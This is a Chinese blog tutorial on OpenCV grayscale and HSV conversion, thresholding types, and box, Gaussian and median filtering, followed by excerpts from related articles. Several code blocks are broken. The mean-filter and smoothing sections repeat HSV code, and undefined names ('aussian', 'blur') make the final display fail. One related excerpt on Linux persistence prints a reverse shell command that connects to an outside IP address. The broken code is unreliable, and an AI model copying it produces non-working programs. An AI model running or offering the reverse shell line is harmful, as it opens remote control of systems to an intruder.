【OpenCV-阈值与平滑处理】灰度图、HSV、图像阈值、图像平滑处理(方框滤波、均值滤波、高斯滤波、中值滤波)

1 灰度图

import cv2  # 导入 OpenCV 库,用于图像处理
import numpy as np  # 导入 NumPy 库,用于数组操作
import matplotlib.pyplot as plt  # 导入 Matplotlib 库,用于绘图# %matplotlib inline 是 Jupyter Notebook 特有的魔法命令,用于在 notebook 中内联显示 Matplotlib 绘图# 读取图像文件
img = cv2.imread('./img/cat.jpg')  # 使用 OpenCV 的 imread 函数读取图像文件,路径为 './img/cat.jpg'
# 默认情况下,OpenCV 使用 BGR 色彩空间# 将图像转换为灰度图像
img_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)  # 使用 cvtColor 函数将 BGR 图像转换为灰度图像# 获取灰度图像的形状
img_gray.shape  # 返回图像的形状,格式为 (高度, 宽度),例如 (414, 500)cv2.imshow("img_gray", img_gray)
cv2.waitKey(0)    
cv2.destroyAllWindows() 

2 HSV

  • H - 色调(主波长)。
  • S - 饱和度(纯度/颜色的阴影)。
  • V值(强度)
import cv2  # 导入 OpenCV 库# 将 BGR 图像转换为 HSV 色彩空间
hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)  # 使用 cvtColor 函数将 BGR 图像转换为 HSV 图像
# HSV 色彩空间包含色调(H)、饱和度(S)和明度(V)三个通道# 显示转换后的 HSV 图像
cv2.imshow("hsv", hsv)  # 使用 imshow 函数显示图像,窗口标题为 "hsv"# 等待用户按键
cv2.waitKey(0)  # 等待用户按键,无参数表示无限等待,直到按下任意键# 关闭所有 OpenCV 窗口
cv2.destroyAllWindows()  # 关闭所有由 imshow 函数创建的窗口

3 图像阈值

  • ret, dst = cv2.threshold(src, thresh, maxval, type)

  • src: 输入图,只能输入单通道图像,通常来说为灰度图

  • dst: 输出图

  • thresh: 阈值

  • maxval: 当像素值超过了阈值(或者小于阈值,根据type来决定),所赋予的值

  • type:二值化操作的类型,包含以下5种类型: cv2.THRESH_BINARY; cv2.THRESH_BINARY_INV; cv2.THRESH_TRUNC; cv2.THRESH_TOZERO;cv2.THRESH_TOZERO_INV

  • cv2.THRESH_BINARY 超过阈值部分取maxval(最大值),否则取0

  • cv2.THRESH_BINARY_INV THRESH_BINARY的反转

  • cv2.THRESH_TRUNC 大于阈值部分设为阈值,否则不变

  • cv2.THRESH_TOZERO 大于阈值部分不改变,否则设为0

  • cv2.THRESH_TOZERO_INV THRESH_TOZERO的反转

import cv2
import matplotlib.pyplot as plt# 对灰度图像应用不同的阈值处理方法
# img_gray 是输入的灰度图像
# cv2.threshold() 函数用于将图像转换为二值图像,并应用不同的阈值处理方法# 使用阈值 127 和最大值 255 进行二值化
# cv2.THRESH_BINARY:像素值大于阈值设为最大值,其他设为 0
ret, thresh1 = cv2.threshold(img_gray, 127, 255, cv2.THRESH_BINARY)# 使用阈值 127 和最大值 255 进行反向二值化
# cv2.THRESH_BINARY_INV:像素值小于阈值设为最大值,其他设为 0
ret, thresh2 = cv2.threshold(img_gray, 127, 255, cv2.THRESH_BINARY_INV)# 使用阈值 127 和最大值 255 进行截断
# cv2.THRESH_TRUNC:像素值大于阈值设为阈值,其他保持不变
ret, thresh3 = cv2.threshold(img_gray, 127, 255, cv2.THRESH_TRUNC)# 使用阈值 127 和最大值 255 进行零化
# cv2.THRESH_TOZERO:像素值大于阈值保持不变,其他设为 0
ret, thresh4 = cv2.threshold(img_gray, 127, 255, cv2.THRESH_TOZERO)# 使用阈值 127 和最大值 255 进行反向零化
# cv2.THRESH_TOZERO_INV:像素值小于阈值保持不变,其他设为 0
ret, thresh5 = cv2.threshold(img_gray, 127, 255, cv2.THRESH_TOZERO_INV)# 创建标题和图像列表用于显示
titles = ['Original Image', 'BINARY', 'BINARY_INV', 'TRUNC', 'TOZERO', 'TOZERO_INV']
images = [img_gray, thresh1, thresh2, thresh3, thresh4, thresh5]# 使用 matplotlib 显示图像
# 创建一个 2x3 的图像网格进行显示
for i in range(6):plt.subplot(2, 3, i + 1)  # 创建子图plt.imshow(images[i], 'gray')  # 显示图像,使用灰度色彩图plt.title(titles[i])  # 设置子图标题plt.xticks([])  # 隐藏 x 轴刻度plt.yticks([])  # 隐藏 y 轴刻度# 显示所有子图
plt.show()

在这里插入图片描述

4 图像平滑处理

import cv2  # 导入 OpenCV 库# 将 BGR 图像转换为 HSV 色彩空间
hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)  # 使用 cvtColor 函数将 BGR 图像转换为 HSV 图像
# HSV 色彩空间包含色调(H)、饱和度(S)和明度(V)三个通道# 显示转换后的 HSV 图像
cv2.imshow("hsv", hsv)  # 使用 imshow 函数显示图像,窗口标题为 "hsv"# 等待用户按键
cv2.waitKey(0)  # 等待用户按键,无参数表示无限等待,直到按下任意键# 关闭所有 OpenCV 窗口
cv2.destroyAllWindows()  # 关闭所有由 imshow 函数创建的窗口

在这里插入图片描述

4.1 方框滤波

# 方框滤波
# 基本和均值一样,可以选择归一化
# 对图像应用方盒滤波
# cv2.boxFilter() 函数用于对图像进行均值滤波,方盒滤波是均值滤波的一种特殊形式# img 是输入的图像,通常为彩色或灰度图像
# -1 表示输出图像与输入图像具有相同的深度(即数据类型)
# (3, 3) 是滤波器的内核大小,即 3x3 的方形内核
# normalize=True 表示内核的系数会被归一化,使得内核的所有元素之和为 1,这样滤波操作不会改变图像的亮度# 将方盒滤波应用于图像,进行平滑处理
box = cv2.boxFilter(img, -1, (3, 3), normalize=True)cv2.imshow('box', box)
cv2.waitKey(0)
cv2.destroyAllWindows()
# 方框滤波
# 基本和均值一样,可以选择归一化,容易越界
box = cv2.boxFilter(img,-1,(3,3), normalize=False)  cv2.imshow('box', box)
cv2.waitKey(0)
cv2.destroyAllWindows()

4.2 均值滤波

# 均值滤波
# 简单的平均卷积操作
import cv2  # 导入 OpenCV 库# 将 BGR 图像转换为 HSV 色彩空间
hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)  # 使用 cvtColor 函数将 BGR 图像转换为 HSV 图像
# HSV 色彩空间包含色调(H)、饱和度(S)和明度(V)三个通道# 显示转换后的 HSV 图像
cv2.imshow("hsv", hsv)  # 使用 imshow 函数显示图像,窗口标题为 "hsv"# 等待用户按键
cv2.waitKey(0)  # 等待用户按键,无参数表示无限等待,直到按下任意键# 关闭所有 OpenCV 窗口
cv2.destroyAllWindows()  # 关闭所有由 imshow 函数创建的窗口

4.3 高斯滤波

# 高斯滤波
# 高斯模糊的卷积核里的数值是满足高斯分布,相当于更重视中间的
# 对图像应用高斯模糊
# cv2.GaussianBlur() 函数用于对图像进行高斯模糊,以平滑图像并减少噪声# img 是输入的图像,通常为彩色或灰度图像
# (5, 5) 是高斯内核的大小,即内核的宽度和高度为 5x5
# 内核的尺寸决定了模糊的程度,尺寸越大,模糊效果越强
# 1 是高斯内核在 x 轴方向的标准差 (sigmaX),控制模糊的范围和强度
# 对于高斯模糊,标准差越大,模糊效果越显著# 将高斯模糊应用于图像,进行平滑处理
gaussian = cv2.GaussianBlur(img, (5, 5), 1)cv2.imshow('aussian', aussian)
cv2.waitKey(0)
cv2.destroyAllWindows()

4.4 中值滤波

# 中值滤波
# 相当于用中值代替
# 对图像应用中值滤波
# cv2.medianBlur() 函数用于对图像进行中值滤波,中值滤波是一种有效的去噪方法# img 是输入图像,通常为彩色或灰度图像
# 5 是滤波器的内核大小,即窗口的尺寸为 5x5
# 内核的大小必须是奇数,并且表示在应用滤波时考虑的像素区域的大小
# 中值滤波会在这个区域内对每个像素进行处理,将该区域内所有像素的中值作为当前像素的值
# 这种方法特别适用于去除椒盐噪声(salt-and-pepper noise)# 将中值滤波应用于图像,进行噪声去除
median = cv2.medianBlur(img, 5)cv2.imshow('median', median)
cv2.waitKey(0)
cv2.destroyAllWindows()

4.5 图像展示

# 展示所有的
res = np.hstack((blur,aussian,median))
#print (res)
cv2.imshow('median vs average', res)
cv2.waitKey(0)
cv2.destroyAllWindows()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/420133.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ABC 370 E - Avoid K Partition

原题链接:E - Avoid K Partition 题意:给长度为n的数组,将数组划分成任意份,但是每一份的总和都不能是k,问有多少种分割方法。 思路:dp,f[i],代表前i个元素满足题意的划分的总和&a…

Windows--linux共享文件夹

1、如果共享文件夹设置在Windows上面 文件夹设置 个人家里电脑通常不设置用户名密码 linux端mount命令行 mount -t cifs -o usernamewade,vers3.0 //192.168.0.143/openvswitch-2.17.10 /root/windows

适用于计算机视觉的机器学习

使用筛选器将效果应用于图像的功能在图像处理任务中非常有用,例如可能使用图像编辑软件执行的任务。 但是,计算机视觉的目标通常是从图像中提取含义或至少是可操作的见解,这需要创建经过训练以基于大量现有图像识别特征的机器学习模型。 卷积…

mysql快速定位cpu 占比过高的sql语句

mysql快速定位cpu 占比过高的sql语句 当MySQL数据库的CPU使用率异常升高时,定位导致问题的SQL语句可以通过以下步骤进行 1、使用top命令找出mysl进程中占用CPU靠前的线程 #找出mysql 的进程号 ps -ef | grep mysql#根据进程号,找出占用CPU靠前的线程号…

树莓派通过串口驱动HC-08蓝牙模块

树莓派通过串口驱动HC-08蓝牙模块 文章目录 树莓派通过串口驱动HC-08蓝牙模块一、HC-08蓝牙模块介绍二、树莓派与蓝牙模块硬件连接三、树莓派通过蓝牙控制设备 一、HC-08蓝牙模块介绍 蓝牙模块,是一种集成的蓝牙功能的PCB板,用于短距离无线通信&#xff…

避障小车—51单片机

一、小车底盘组装 根据视频的安装步骤安装 二、 电机模块开发 2.1 L9110s概述 接通VCC,GND 模块电源指示灯亮, 以下资料来源官方,但是不对,根据下节课实际调试 IA1输入高电平,IA1输入低电平,【OA1 OB1…

JavaWeb【day11】--(SpringBootWeb案例)

SpringBootWeb案例 前面我们已经实现了员工信息的条件分页查询以及删除操作。 关于员工管理的功能,还有两个需要实现: 新增员工 修改员工 首先我们先完成"新增员工"的功能开发,再完成"修改员工"的功能开发。而在&quo…

PDF样本图册转换为一个链接,随时打开无需印刷

想象一下,您手中有一本厚重的样本图册,里面包含了丰富多样的内容,如产品介绍、项目方案、学术论文等。在过去,您需要逐一翻阅、筛选,甚至为了便于查看,不得不将其印刷出来。如今,借助先进的数字…

机器学习:opencv--图像形态学

目录 前言 一、常用形态学操作 二、腐蚀和膨胀 1.图像腐蚀 2.图形膨胀 三、开运算和闭运算 1.开运算 2.闭运算 四、顶帽和黑帽 1.顶帽 2.黑帽 五、梯度运算 总结 前言 图像形态学是一种用于处理和分析图像形状和结构的技术。 一、常用形态学操作 膨胀&#xff08…

都2024年了还不明白Redis持久化?RDB文件、AOF文件、AOF重写

都2024年了,不会还有人不知道redis的RDB和Aof吧?不知道没关系,看完这篇文章我相信你就会有个大概的了解和认识了 1. Redis持久化 1.1 持久化概念 Redis本身是一个基于内存的数据库,它提供了RDB持久化、AOF持久化两种方式&#…

田纳西州橡树岭全球最快的超级计算机名为Frontier

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗?订阅我们的简报,深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同,从行业内部的深度分析和实用指南中受益。不要错过这个机会,成为AI领…

记录深度学习量化操作

0. 简介 深度学习中做量化提升运行速度是最常用的方法,尤其是大模型这类非常吃GPU显存的方法。一般是高精度浮点数表示的网络权值以及激活值用低精度(例如8比特定点)来近似表示达到模型轻量化,加速深度学习模型推理,目…

第145天:内网安全-Linux权限维持Rootkit后门Strace监控Alias别名Cron定时任务

案例一:权限维持-Linux-定时任务-Cron后门 linux的计时任务,配置文件再/etc/crontab下 创建后门文件,这里可以创建成隐藏文件 vim /etc/.back.sh 反弹shell的内容 #!/bin/bash bash -i >& /dev/tcp/47.94.236.117/3333 0>&…

[数据集][目标检测]街道乱堆垃圾检测数据集VOC+YOLO格式94张1类别

数据集格式:Pascal VOC格式YOLO格式(不包含分割路径的txt文件,仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数):94 标注数量(xml文件个数):94 标注数量(txt文件个数):94 标注类别数…

联想泄露显示本月推出更便宜的Copilot Plus电脑

联想似乎准备推出新的更实惠的 Copilot Plus 电脑。可靠的爆料者Evan Blass发布了一份来自联想的新闻稿,详细介绍了将在本周晚些时候的IFA展会上宣布的各种Copilot Plus电脑,其中包括两款采用尚未公布的8核高通骁龙X Plus芯片的电脑。 这些新的高通芯片…

【前端】vue+html+js 实现table表格展示,以及分页按钮添加

一. 问题描述 数据条数太多显示到页面上时可能会渲染较慢,因此需要截取数据进行展示。 二. 代码写法 思路:按照上述图示思路,需要有两个数据列表,一个存储的是所有的列表数据,一个存储的是展示的数据列表&#xff0c…

Vue组件:使用$emit()方法监听子组件事件

1、监听自定义事件 父组件通过使用 Prop 为子组件传递数据,但如果子组件要把数据传递回去,就需要使用自定义事件来实现。父组件可以通过 v-on 指令(简写形式“”)监听子组件实例的自定义事件,而子组件可以通过调用内建…

基于单片机的人脸识别的智能门禁系统设计

文章目录 前言资料获取设计介绍功能介绍设计清单核心代码具体实现截图参考文献设计获取 前言 💗博主介绍:✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师,一名热衷于单片机技术探索与分享的博主、专注于 精通51/STM32/MSP430/AVR等…

C/C++ 中的算术运算及其陷阱(详解,举例分析)

在C/C编程中,算术运算是非常基础且常用的操作。然而,这些看似简单的运算背后却隐藏着一些潜在的陷阱,如果不加以注意,可能会导致程序出现难以预料的错误。本文将探讨C/C中常见的算术运算及其潜在的陷阱,并通过实例进行…

大数据技术体系架构

数据源 社交媒体平台 云平台 网站资源 物联网(IOT) 数据库 特点 分布式 数据源一般分布在不同的设备上,这些设备通常由网络连接在一起,网络空间的安全及其重要; 异构性 数据的来源广泛,比如社交媒…